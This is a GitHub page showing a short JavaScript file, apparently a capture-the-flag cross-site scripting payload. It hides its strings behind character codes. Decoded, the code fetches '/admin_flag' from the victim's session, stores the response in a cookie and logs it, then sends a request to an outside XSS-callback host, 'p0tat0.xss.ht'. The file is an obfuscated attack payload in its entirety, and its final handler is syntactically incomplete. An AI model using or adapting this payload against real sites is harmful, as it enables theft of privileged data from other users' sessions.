-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtextbin.js
More file actions
26 lines (18 loc) · 752 Bytes
/
textbin.js
File metadata and controls
26 lines (18 loc) · 752 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var xhr = new XMLHttpRequest();
xhr.open(String.fromCharCode(71,69,84), String.fromCharCode(47,97,100,109,105,110,95,102,108,97,103), true);
xhr.onload = function () {
if (xhr.readyState === xhr.DONE) {
if (xhr.status === 200) {
document.cookie = String.fromCharCode(102,108,97,103,61)+xhr.responseText;
console.log(document.cookie);
console.log(xhr.response);
console.log(xhr.responseText);
}
}
};
xhr.send(null);
xhr = new XMLHttpRequest();
xhr.open(String.fromCharCode(71,69,84), String.fromCharCode(104,116,116,112,115,58,47,47,112,48,116,97,116,48,46,120,115,115,46,104,116), true);
xhr.onload = function () {
if (xhr.readyState === xhr.DONE) {};
xhr.send(null);